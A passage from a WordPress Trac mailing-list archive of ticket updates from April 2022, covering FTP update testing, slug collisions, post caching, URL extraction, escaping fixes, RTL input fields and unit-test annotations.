` contents from the provided HTML. should be changed to this: > Parses the title tag contents from the provided HTML. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55506#comment:2> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 1 00:25:26 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 01 Apr 2022 00:25:26 -0000 Subject: [wp-trac] [WordPress Trac] #51170: FTP automatic updates are not RFC 959 compliant for NLST command In-Reply-To: <051.09b6bf2c60c82933c8667a9375698057@wordpress.org> References: <051.09b6bf2c60c82933c8667a9375698057@wordpress.org> Message-ID: <066.c21d36d134ab86c1705b6ed2c203151a@wordpress.org> #51170: FTP automatic updates are not RFC 959 compliant for NLST command ----------------------------+----------------------- Reporter: giox069 | Owner: afragen Type: defect (bug) | Status: assigned Priority: normal | Milestone: 6.0 Component: Filesystem API | Version: 3.7 Severity: normal | Resolution: Keywords: has-patch | Focuses: ----------------------------+----------------------- Changes (by costdev): * Attachment "test-ftp.zip" added. -- Ticket URL: <https://core.trac.wordpress.org/ticket/51170> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 1 00:30:23 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 01 Apr 2022 00:30:23 -0000 Subject: [wp-trac] [WordPress Trac] #51170: FTP automatic updates are not RFC 959 compliant for NLST command In-Reply-To: <051.09b6bf2c60c82933c8667a9375698057@wordpress.org> References: <051.09b6bf2c60c82933c8667a9375698057@wordpress.org> Message-ID: <066.489ff19058e75c4ad97474933b9ad2e6@wordpress.org> #51170: FTP automatic updates are not RFC 959 compliant for NLST command ----------------------------+----------------------- Reporter: giox069 | Owner: afragen Type: defect (bug) | Status: assigned Priority: normal | Milestone: 6.0 Component: Filesystem API | Version: 3.7 Severity: normal | Resolution: Keywords: has-patch | Focuses: ----------------------------+----------------------- Comment (by costdev): For those who want to test the patch, you can download, install and activate the attached [https://core.trac.wordpress.org/attachment/ticket/51170/test-ftp.zip test-ftp] plugin. == Instructions It's recommended to set up a new user on your system for FTP. Use a guide online that shows how to do this for your system. Make sure you have an FTP server running. For vsftpd: {{{ sudo apt update -y sudo apt install vsftpd -y sudo service vsftpd start }}} For PureFTP: {{{ sudo apt update -y sudo apt install pure-ftpd -y sudo service pure-ftpd start }}} If testing multiple FTP servers, make sure to run this between tests: {{{ sudo service <name_of_unwanted_FTP_server> stop sudo service <name_of_wanted_FTP_server> restart }}} Use this to verify which server is running ( "+" means running ): {{{ sudo service --status-all }}} Add the following to wp-config.php: {{{ define( 'WP_DEBUG', true ); define( 'WP_DEBUG_LOG', true ); define( 'FS_METHOD', 'ftpext' ); // Or 'ftpsockets'. define( 'FTP_BASE', '/var/www/html/wordpress-develop/src/' ); // Or the root of your WordPress installation. define( 'FTP_USER', 'FTP_USER' ); // Change to your ftp user's username. define( 'FTP_PASS', 'password' ); // Change to your ftp user's password. define( 'FTP_HOST', 'localhost' ); define( 'FTP_SSL', false ); }}} The plugin will output the results to `wp-content/debug.log`. Please report your results. -- Ticket URL: <https://core.trac.wordpress.org/ticket/51170#comment:24> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 1 01:44:03 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 01 Apr 2022 01:44:03 -0000 Subject: [wp-trac] [WordPress Trac] #52422: Create a draft with the same slug as an existing post, the existing post will be 404. In-Reply-To: <053.35e2c27a57addd2813d11e84df9d26ed@wordpress.org> References: <053.35e2c27a57addd2813d11e84df9d26ed@wordpress.org> Message-ID: <068.28923e14326dc3199d5f962cfe14adb7@wordpress.org> #52422: Create a draft with the same slug as an existing post, the existing post will be 404. -------------------------------------------------+------------------------- Reporter: Toro_Unit | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.0 Component: Posts, Post Types | Version: Severity: normal | Resolution: Keywords: has-patch has-unit-tests needs- | Focuses: refresh has-testing-info | -------------------------------------------------+------------------------- Changes (by costdev): * keywords: has-patch has-unit-tests needs-refresh has-testing-info needs- testing => has-patch has-unit-tests needs-refresh has-testing-info Comment: == Test Report === Environment * Server: Apache (Linux) * WordPress: 6.0-alpha-52448-src * Browser: Chrome 99.0.4844.84 * OS: Windows 10 * Theme: Twenty Seventeen * Plugins: None activated === Steps 1. Navigate to `Settings > Permalinks`. 2. Ensure the permalink structure is set to `Post name`. Click `Save Changes`. 3. Navigate to `Posts > Add New`. 4. Name the post "Test post". Click `Publish`. 5. Navigate to `Posts > Add New`. 6. Name the post "Test post 2". Click `Save draft`. 7. On the right hand side, scroll down and edit the slug from "test- post-2" to "test-post". Click "Save draft". 8. Navigate to `Posts`. 9. Click `View` on "Test post". Notice that the title is "Test post 2". ✅ 10. Copy the link into a Private Browsing/Incognito window. Notice it 404s. ✅ 11. Apply [https://github.com/WordPress/wordpress-develop/pull/1333 PR 1333]. 12. Run `npm run build:dev`. 13. Trash and permanently remove "Test post" and "Test post 2". 14. Repeat steps 1-7. Notice that "test-post" changes to "test-post-2", preventing the use of an existing slug. ✅ 15. Continue to step 8 through 10. Notice that both issues in 9 and 10 no longer occur. ✅ === Results 1. Issue reproduced. ✅ 2. [https://github.com/WordPress/wordpress-develop/pull/1333 PR 1333] resolves the issue. -- Ticket URL: <https://core.trac.wordpress.org/ticket/52422#comment:11> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 1 01:45:09 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 01 Apr 2022 01:45:09 -0000 Subject: [wp-trac] [WordPress Trac] #52422: Create a draft with the same slug as an existing post, the existing post will be 404. In-Reply-To: <053.35e2c27a57addd2813d11e84df9d26ed@wordpress.org> References: <053.35e2c27a57addd2813d11e84df9d26ed@wordpress.org> Message-ID: <068.3f217465b3c9fee2246313820ceceba7@wordpress.org> #52422: Create a draft with the same slug as an existing post, the existing post will be 404. -------------------------------------------------+------------------------- Reporter: Toro_Unit | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.0 Component: Posts, Post Types | Version: Severity: normal | Resolution: Keywords: has-patch has-unit-tests needs- | Focuses: refresh has-testing-info | -------------------------------------------------+------------------------- Changes (by costdev): * Attachment "52422.refresh-of-PR-1333.diff" added. Refresh of PR 1333. Tidied up tests, added `$message` parameters. Tidied up source and improved the explanation. -- Ticket URL: <https://core.trac.wordpress.org/ticket/52422> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 1 01:50:36 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 01 Apr 2022 01:50:36 -0000 Subject: [wp-trac] [WordPress Trac] #52422: Create a draft with the same slug as an existing post, the existing post will be 404. In-Reply-To: <053.35e2c27a57addd2813d11e84df9d26ed@wordpress.org> References: <053.35e2c27a57addd2813d11e84df9d26ed@wordpress.org> Message-ID: <053.35e2c27a57addd2813d11e84df9d26ed@wordpress.org> #52422: Create a draft with the same slug as an existing post, the existing post will be 404. -------------------------------------------------+------------------------- Reporter: Toro_Unit | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.0 Component: Posts, Post Types | Version: Severity: normal | Resolution: Keywords: has-patch has-unit-tests needs- | Focuses: refresh has-testing-info | -------------------------------------------------+------------------------- Changes (by costdev): * Attachment "52422.refresh-of-PR-1333.diff" removed. Refresh of PR 1333. Tidied up tests, added `$message` parameters. Tidied up source and improved the explanation. -- Ticket URL: <https://core.trac.wordpress.org/ticket/52422> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 1 01:50:36 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 01 Apr 2022 01:50:36 -0000 Subject: [wp-trac] [WordPress Trac] #52422: Create a draft with the same slug as an existing post, the existing post will be 404. In-Reply-To: <053.35e2c27a57addd2813d11e84df9d26ed@wordpress.org> References: <053.35e2c27a57addd2813d11e84df9d26ed@wordpress.org> Message-ID: <068.9a7d3f1931f4cd0dd0d821a42a2655c3@wordpress.org> #52422: Create a draft with the same slug as an existing post, the existing post will be 404. -------------------------------------------------+------------------------- Reporter: Toro_Unit | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.0 Component: Posts, Post Types | Version: Severity: normal | Resolution: Keywords: has-patch has-unit-tests needs- | Focuses: refresh has-testing-info | -------------------------------------------------+------------------------- Changes (by costdev): * Attachment "52422.refresh-of-PR-1333.diff" added. Refresh of PR 1333. Tidied up tests, added $message parameters. Tidied up source and improved the explanation. -- Ticket URL: <https://core.trac.wordpress.org/ticket/52422> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 1 02:03:50 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 01 Apr 2022 02:03:50 -0000 Subject: [wp-trac] [WordPress Trac] #55511: How to search by tag in editor link search bar Message-ID: <053.fc06024ead8901c66550d1f7a002f842@wordpress.org> #55511: How to search by tag in editor link search bar -------------------------+----------------------------- Reporter: rodrigocs | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: Awaiting Review Component: General | Version: 5.9.2 Severity: normal | Keywords: Focuses: | -------------------------+----------------------------- Hello guys, When trying to insert a link in the text of a post, in the search bar we type the term to find a post that we want to link to. And in the new Gutenberg editor, in addition to showing the posts in the search results, it also shows pages, tags, categories and ect: https://prnt.sc/giFQfne- gi0T This is very interesting, because for the site that has the habit of inserting tags during the text or even categories, pages ect, this makes the work a lot easier. But, I realized that if a certain term has a lot of posts talking about it, then it will only show the posts in the search result. That’s because the search result only shows 20 results, so if I type a term where there are more than 20 posts that use that term, the result will show 20 posts which means there will be no space left to show tags, in case I’m looking the tag link for that term. For example, on my site there are many posts talking about Netflix, and I created the tag “netflix” (/tag/netflix). So when I mention Netflix in the text of the post, I usually like to put the tag “netflix” in that word. But when typing in the link search bar by the word “netflix”, it shows me 20 post results, and it doesn’t show the tag “netflix”. The search system gives priority to showing posts first, so as there are more than 20 posts published about Netflix, it ends up only showing posts in the results. With that, I always have to go to the tags page (/edit- tags.php?taxonomy=post_tag) to look for the tag, copy the link, go to the editor and insert it in the anchor text in question. So I wanted to see if anyone knows how to do a tag-only search. If I want to search for the “netflix” tag, is there any way I can search in the link insertion search bar and the result will only be tags? Thank you! -- Ticket URL: <https://core.trac.wordpress.org/ticket/55511> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 1 02:13:43 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 01 Apr 2022 02:13:43 -0000 Subject: [wp-trac] [WordPress Trac] #55511: How to search by tag in editor link search bar In-Reply-To: <053.fc06024ead8901c66550d1f7a002f842@wordpress.org> References: <053.fc06024ead8901c66550d1f7a002f842@wordpress.org> Message-ID: <068.368c445c58312245fd4cf68ea251f161@wordpress.org> #55511: How to search by tag in editor link search bar --------------------------+---------------------- Reporter: rodrigocs | Owner: (none) Type: defect (bug) | Status: closed Priority: normal | Milestone: Component: General | Version: Severity: normal | Resolution: invalid Keywords: | Focuses: --------------------------+---------------------- Changes (by costdev): * status: new => closed * type: enhancement => defect (bug) * version: 5.9.2 => * resolution: => invalid * milestone: Awaiting Review => Comment: Hi @rodrigocs, welcome to Trac! Sorry to hear that you're having trouble with your website. Trac is for the development of WordPress Core rather than providing WordPress support. You can get some help from the folks over on [https://wordpress.org/support/forums/ the support forums]. Best of luck! -- Ticket URL: <https://core.trac.wordpress.org/ticket/55511#comment:1> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 1 02:22:51 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 01 Apr 2022 02:22:51 -0000 Subject: [wp-trac] [WordPress Trac] #55511: How to search by tag in editor link search bar In-Reply-To: <053.fc06024ead8901c66550d1f7a002f842@wordpress.org> References: <053.fc06024ead8901c66550d1f7a002f842@wordpress.org> Message-ID: <068.a10865b39ee53ca6282b1bcf83122485@wordpress.org> #55511: How to search by tag in editor link search bar --------------------------+---------------------- Reporter: rodrigocs | Owner: (none) Type: defect (bug) | Status: closed Priority: normal | Milestone: Component: General | Version: Severity: normal | Resolution: invalid Keywords: | Focuses: --------------------------+---------------------- Comment (by rodrigocs): Hello @costdev 2 Yes, I tried contacting them - https://wordpress.org/support/topic/how-to- search-by-tag-in-editor-link-search-bar/#post-15512487 - and they told me to contact you. It seems that there is no solution to my problem, so I wanted to leave this as a suggestion for the WordPress team to make this improvement in a next update, because the way it is currently, it is difficult to find a tag to link a word in the text. I hope you can take this into account. If this is not the appropriate place to request WordPress feature enhancements, then please point me to the right place. Thank you! -- Ticket URL: <https://core.trac.wordpress.org/ticket/55511#comment:2> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 1 02:38:54 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 01 Apr 2022 02:38:54 -0000 Subject: [wp-trac] [WordPress Trac] #55511: How to search by tag in editor link search bar In-Reply-To: <053.fc06024ead8901c66550d1f7a002f842@wordpress.org> References: <053.fc06024ead8901c66550d1f7a002f842@wordpress.org> Message-ID: <068.2f2167d566d359e9542397ecdd2b40ea@wordpress.org> #55511: How to search by tag in editor link search bar --------------------------+-------------------------------- Reporter: rodrigocs | Owner: (none) Type: defect (bug) | Status: closed Priority: normal | Milestone: Component: General | Version: Severity: normal | Resolution: reported-upstream Keywords: | Focuses: --------------------------+-------------------------------- Changes (by costdev): * resolution: invalid => reported-upstream Comment: Hi @rodrigocs, thanks for the explanation! You're right, this is the place to make feature requests for WordPress Core. However, in this instance, this is a feature request for the Gutenberg Editor. I have opened an issue on the Gutenberg repository so that this can be investigated by the Gutenberg Team. Here is a link to that issue: [https://github.com/WordPress/gutenberg/issues/39964] Let's move the discussion over there to keep everything focused. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55511#comment:3> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 1 02:46:17 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 01 Apr 2022 02:46:17 -0000 Subject: [wp-trac] [WordPress Trac] #53490: adds missing test for xmlrpc function in functions.php In-Reply-To: <051.f859648103e1051bad72195498160afc@wordpress.org> References: <051.f859648103e1051bad72195498160afc@wordpress.org> Message-ID: <066.76f0915c1c58e74b181e1f9ae994e06f@wordpress.org> #53490: adds missing test for xmlrpc function in functions.php --------------------------------------+--------------------- Reporter: pbearne | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.0 Component: Build/Test Tools | Version: Severity: normal | Resolution: Keywords: has-patch has-unit-tests | Focuses: --------------------------------------+--------------------- Changes (by costdev): * component: XML-RPC => Build/Test Tools Comment: Moving to the `Build/Test Tools` component. I have made one suggestion on the PR and otherwise it looks good to me. @hellofromTonya, do you have time for a review of the PR as a second set of eyes? -- Ticket URL: <https://core.trac.wordpress.org/ticket/53490#comment:7> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 1 03:16:48 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 01 Apr 2022 03:16:48 -0000 Subject: [wp-trac] [WordPress Trac] #50567: Set $post filter in update_post_cache() In-Reply-To: <048.1eeec1936ec5f77048352a7675dec2ed@wordpress.org> References: <048.1eeec1936ec5f77048352a7675dec2ed@wordpress.org> Message-ID: <063.357f5acfeb46d2d20374012c528c97a2@wordpress.org> #50567: Set $post filter in update_post_cache() --------------------------------------+---------------------------- Reporter: Cybr | Owner: peterwilsoncc Type: enhancement | Status: closed Priority: normal | Milestone: 6.0 Component: Posts, Post Types | Version: Severity: normal | Resolution: fixed Keywords: has-patch has-unit-tests | Focuses: performance --------------------------------------+---------------------------- Changes (by peterwilsoncc): * status: assigned => closed * resolution: => fixed Comment: In [changeset:"53042" 53042]: {{{ #!CommitTicketReference repository="" revision="53042" Posts, Post Types: Set post filter in `update_post_cache()`. Ensure the post cache is primed with raw sanitized data. This resolves an inconsistency between how posts retrieved via `get_post()` vs `WP_Query` are cached. This prevents `sanitize_post( $post, 'raw' )` being run multiple times on a cached post. This can happen over 20 times per post on some page loads so avoiding this will provide a noticeable performance boost. Props Cybr, SergeyBiryukov, peterwilsoncc, hellofromTonya, costdev. Fixes #50567. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/50567#comment:29> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 1 03:23:21 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 01 Apr 2022 03:23:21 -0000 Subject: [wp-trac] [WordPress Trac] #47911: redirect_guess_404_permalink does not consider public custom posts status In-Reply-To: <057.f467c50faaad6f9e4ee68f82be64a456@wordpress.org> References: <057.f467c50faaad6f9e4ee68f82be64a456@wordpress.org> Message-ID: <072.f2253fbd6428b36f493d3cbb48a00657@wordpress.org> #47911: redirect_guess_404_permalink does not consider public custom posts status -------------------------------------------------+------------------------- Reporter: goaroundagain | Owner: | peterwilsoncc Type: enhancement | Status: closed Priority: normal | Milestone: 6.0 Component: Canonical | Version: 5.2.2 Severity: normal | Resolution: fixed Keywords: has-patch has-unit-tests early | Focuses: needs-dev-note | -------------------------------------------------+------------------------- Changes (by peterwilsoncc): * status: reviewing => closed * resolution: => fixed Comment: In [changeset:"53043" 53043]: {{{ #!CommitTicketReference repository="" revision="53043" Canonical: Include all public status in 404 redirects. In `redirect_guess_404_permalink()` search for posts using all publicly queryable statuses rather than limiting options to the `publish` status. Props goaroundagain, costdev, htdat, audrasjb, chaion07. Fixes #47911. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/47911#comment:23> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 1 03:39:10 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 01 Apr 2022 03:39:10 -0000 Subject: [wp-trac] [WordPress Trac] #30580: wp_extract_urls not returning full URL with & query separator In-Reply-To: <051.51c6e567e72b36f7a4c97869788883ee@wordpress.org> References: <051.51c6e567e72b36f7a4c97869788883ee@wordpress.org> Message-ID: <066.8eff105d3c3914008dc367a8eb64ea44@wordpress.org> #30580: wp_extract_urls not returning full URL with & query separator -------------------------------------------------+------------------------- Reporter: trex005 | Owner: | peterwilsoncc Type: defect (bug) | Status: closed Priority: normal | Milestone: Component: Formatting | Version: 3.7 Severity: normal | Resolution: fixed Keywords: has-patch has-unit-tests needs- | Focuses: testing commit | -------------------------------------------------+------------------------- Changes (by peterwilsoncc): * owner: (none) => peterwilsoncc * status: new => closed * resolution: => fixed Comment: In [changeset:"53044" 53044]: {{{ #!CommitTicketReference repository="" revision="53044" Formatting: Account for HTML entities in `wp_extract_urls()`. Prevent `wp_extract_urls()` trimming HTML entities within URLs. Correctly escaped URLs such as https://youtube.com/watch?v=dQw4w9WgXcQ&t=1 will now be extracted as https://youtube.com/watch?v=dQw4w9WgXcQ&t=1 rather than truncated. Props trex005, voldemortensen, johnbillion, ironprogrammer, costdev, hellofromtonya. Fixes #30580 }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/30580#comment:11> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 1 03:40:16 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 01 Apr 2022 03:40:16 -0000 Subject: [wp-trac] [WordPress Trac] #55506: HTML tags not escaped In-Reply-To: <056.dd5d8c909551f713d24e56527523721b@wordpress.org> References: <056.dd5d8c909551f713d24e56527523721b@wordpress.org> Message-ID: <071.8eadec7fe5b5352b2de48a3879d22411@wordpress.org> #55506: HTML tags not escaped ----------------------------------------+--------------------- Reporter: gvgvgvijayan | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.0 Component: REST API | Version: 5.9 Severity: normal | Resolution: Keywords: needs-patch good-first-bug | Focuses: docs ----------------------------------------+--------------------- Changes (by rsiddharth): * Attachment "55506.v2022032338.patch" added. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55506> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 1 03:40:38 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 01 Apr 2022 03:40:38 -0000 Subject: [wp-trac] [WordPress Trac] #55506: HTML tags not escaped In-Reply-To: <056.dd5d8c909551f713d24e56527523721b@wordpress.org> References: <056.dd5d8c909551f713d24e56527523721b@wordpress.org> Message-ID: <071.e3805ccfca0c1d30f77eae3a4f52121b@wordpress.org> #55506: HTML tags not escaped --------------------------------------+--------------------- Reporter: gvgvgvijayan | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.0 Component: REST API | Version: 5.9 Severity: normal | Resolution: Keywords: good-first-bug has-patch | Focuses: docs --------------------------------------+--------------------- Changes (by rsiddharth): * keywords: needs-patch good-first-bug => good-first-bug has-patch -- Ticket URL: <https://core.trac.wordpress.org/ticket/55506#comment:3> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 1 04:51:41 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 01 Apr 2022 04:51:41 -0000 Subject: [wp-trac] [WordPress Trac] #54915: Username, email and password fields must be ltr in rtl locale In-Reply-To: <053.4f38abea21a29f9eb209358027b8e501@wordpress.org> References: <053.4f38abea21a29f9eb209358027b8e501@wordpress.org> Message-ID: <068.adf8fff2afeb31f0fb00b2cd815c833b@wordpress.org> #54915: Username, email and password fields must be ltr in rtl locale -------------------------------------+------------------------------------- Reporter: man4toman | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.0 Component: Users | Version: Severity: normal | Resolution: Keywords: has-screenshots has- | Focuses: ui, css, rtl, testing-info has-patch needs- | administration refresh | -------------------------------------+------------------------------------- Changes (by sabernhardt): * Attachment "54915.1.diff" added. refresh, adding network pages plus comment author fields -- Ticket URL: <https://core.trac.wordpress.org/ticket/54915> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 1 05:11:47 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 01 Apr 2022 05:11:47 -0000 Subject: [wp-trac] [WordPress Trac] #54751: Invalid argument in class-wp-list-util.php In-Reply-To: <049.3061f13327d6bc39d75916df3117d902@wordpress.org> References: <049.3061f13327d6bc39d75916df3117d902@wordpress.org> Message-ID: <064.683fef1efdadc61043114d218cf45441@wordpress.org> #54751: Invalid argument in class-wp-list-util.php -----------------------------------------------------+--------------------- Reporter: marv2 | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.0 Component: General | Version: 3.1 Severity: normal | Resolution: Keywords: good-first-bug has-patch has-unit-tests | Focuses: -----------------------------------------------------+--------------------- Comment (by dd32): PR2492 is an alternative, simpler take on this. Simply validating the input values, before passing invalid data to `WP_List_Util`, and matches the other utility functions. The benefit to taking this direction is that existing 'invalid' uses of `wp_list_pluck()` won't need to do anything to gain the benefit. I've not included a unit test, as the above patches and #55300 cover it appropriately. -- Ticket URL: <https://core.trac.wordpress.org/ticket/54751#comment:9> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 1 05:22:31 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 01 Apr 2022 05:22:31 -0000 Subject: [wp-trac] [WordPress Trac] #53746: Tidy up the tearDown() methods In-Reply-To: <055.18311c4bd402e1870dbe4ac4bbc70c00@wordpress.org> References: <055.18311c4bd402e1870dbe4ac4bbc70c00@wordpress.org> Message-ID: <070.f8338708d84ecf1ce3777fa8726829ed@wordpress.org> #53746: Tidy up the tearDown() methods --------------------------------------+--------------------- Reporter: johnbillion | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.0 Component: Build/Test Tools | Version: Severity: normal | Resolution: Keywords: has-patch has-unit-tests | Focuses: --------------------------------------+--------------------- Comment (by Toro_Unit): @johnbillion Hello. What is the current status of this ticket and want to have this patch committed in 6.0 ? -- Ticket URL: <https://core.trac.wordpress.org/ticket/53746#comment:6> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 1 05:26:21 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 01 Apr 2022 05:26:21 -0000 Subject: [wp-trac] [WordPress Trac] #54257: tests for is_php_version_compatible and is_wp_version_compatible In-Reply-To: <051.742eea75dde7adf3ba1a752ab9ed3ea8@wordpress.org> References: <051.742eea75dde7adf3ba1a752ab9ed3ea8@wordpress.org> Message-ID: <066.13bba5c5fdc67c6cb6c6b49c3603bbc5@wordpress.org> #54257: tests for is_php_version_compatible and is_wp_version_compatible ---------------------------------------------------+----------------------- Reporter: pbearne | Owner: pbearne Type: defect (bug) | Status: assigned Priority: normal | Milestone: 6.0 Component: Plugins | Version: 5.2 Severity: normal | Resolution: Keywords: has-patch has-unit-tests dev-feedback | Focuses: ---------------------------------------------------+----------------------- Changes (by mikeschroder): * keywords: has-patch has-unit-tests => has-patch has-unit-tests dev- feedback * component: Build/Test Tools => Plugins -- Ticket URL: <https://core.trac.wordpress.org/ticket/54257#comment:5> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 1 05:27:45 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 01 Apr 2022 05:27:45 -0000 Subject: [wp-trac] [WordPress Trac] #55496: Escaping function missing. In-Reply-To: <055.47c21e308f0655151d281269da7b55c4@wordpress.org> References: <055.47c21e308f0655151d281269da7b55c4@wordpress.org> Message-ID: <070.390f366195c2849892e6839acdc74cf7@wordpress.org> #55496: Escaping function missing. -------------------------------------+----------------------------- Reporter: chintan1896 | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.0 Component: Menus | Version: Severity: normal | Resolution: Keywords: has-patch needs-refresh | Focuses: administration -------------------------------------+----------------------------- Changes (by mukesh27): * keywords: has-patch => has-patch needs-refresh * component: General => Menus * milestone: Awaiting Review => 6.0 Comment: Hi there! Thanks for the ticket and patch. Can you please update the escape function for https://github.com/WordPress/WordPress/blob/master/wp-admin/menu- header.php#L132 from `esc_attr` to `esc_url`? -- Ticket URL: <https://core.trac.wordpress.org/ticket/55496#comment:1> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 1 05:28:02 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 01 Apr 2022 05:28:02 -0000 Subject: [wp-trac] [WordPress Trac] #54915: Username, email and password fields must be ltr in rtl locale In-Reply-To: <053.4f38abea21a29f9eb209358027b8e501@wordpress.org> References: <053.4f38abea21a29f9eb209358027b8e501@wordpress.org> Message-ID: <068.722c9058b70f780317d5f2bf040dc97e@wordpress.org> #54915: Username, email and password fields must be ltr in rtl locale -------------------------------------+------------------------------------- Reporter: man4toman | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.0 Component: Users | Version: Severity: normal | Resolution: Keywords: has-screenshots has- | Focuses: ui, css, rtl, testing-info has-patch | administration -------------------------------------+------------------------------------- Changes (by sabernhardt): * keywords: has-screenshots has-testing-info has-patch needs-refresh => has-screenshots has-testing-info has-patch Comment: Earlier ticket about this: #26824 Extra changes in [attachment:"54915.1.diff"]: - **Network wp-activate.php**: The patch sets direction for the activation key. - **Network wp-signup.php**: The patch sets direction for the username and any email-type input. - **Comment Author Email** (in edit-form-comment.php and the `wp_comment_reply()` function in template.php): Changing the input type to `email` would correct the text direction, but I added the `code` class to match the styling to the URL input below it (including the direction). However, the `wp_login_form()` function in general-template.php would need a different approach to make the text direction work (on the front end). -- Ticket URL: <https://core.trac.wordpress.org/ticket/54915#comment:10> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 1 05:42:35 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 01 Apr 2022 05:42:35 -0000 Subject: [wp-trac] [WordPress Trac] #39265: Missing @covers in the comment blocks in PHPUnit tests In-Reply-To: <051.5b8470e85ba20d711c1d8d4d2db526bf@wordpress.org> References: <051.5b8470e85ba20d711c1d8d4d2db526bf@wordpress.org> Message-ID: <066.b40f846d2dbf41d035fb9242548e0b5f@wordpress.org> #39265: Missing @covers in the comment blocks in PHPUnit tests -------------------------------------------+----------------------------- Reporter: pbearne | Owner: hellofromTonya Type: task (blessed) | Status: reviewing Priority: normal | Milestone: 6.0 Component: Build/Test Tools | Version: 4.8 Severity: normal | Resolution: Keywords: php8 has-patch has-unit-tests | Focuses: -------------------------------------------+----------------------------- Comment (by mikeschroder): Wow, there's been some great work happening in this ticket! We came across it during a [https://wordpress.slack.com/archives/C02RQBWTW/p1648790819536659 6.0 bug scrub today]. What's left here, and what would be the best way for folks to help out? -- Ticket URL: <https://core.trac.wordpress.org/ticket/39265#comment:87> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 1 05:54:53 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 01 Apr 2022 05:54:53 -0000 Subject: [wp-trac] [WordPress Trac] #54751: Invalid argument in class-wp-list-util.php In-Reply-To: <049.3061f13327d6bc39d75916df3117d902@wordpress.org> References: <049.3061f13327d6bc39d75916df3117d902@wordpress.org> Message-ID: <064.2957d94575a2303e4a4e293e5c5530a0@wordpress.org> #54751: Invalid argument in class-wp-list-util.php -------------------------------------------------+------------------------- Reporter: marv2 | Owner: | peterwilsoncc Type: defect (bug) | Status: closed Priority: normal | Milestone: 6.0 Component: General | Version: 3.1 Severity: normal | Resolution: fixed Keywords: good-first-bug has-patch has-unit- | Focuses: tests | 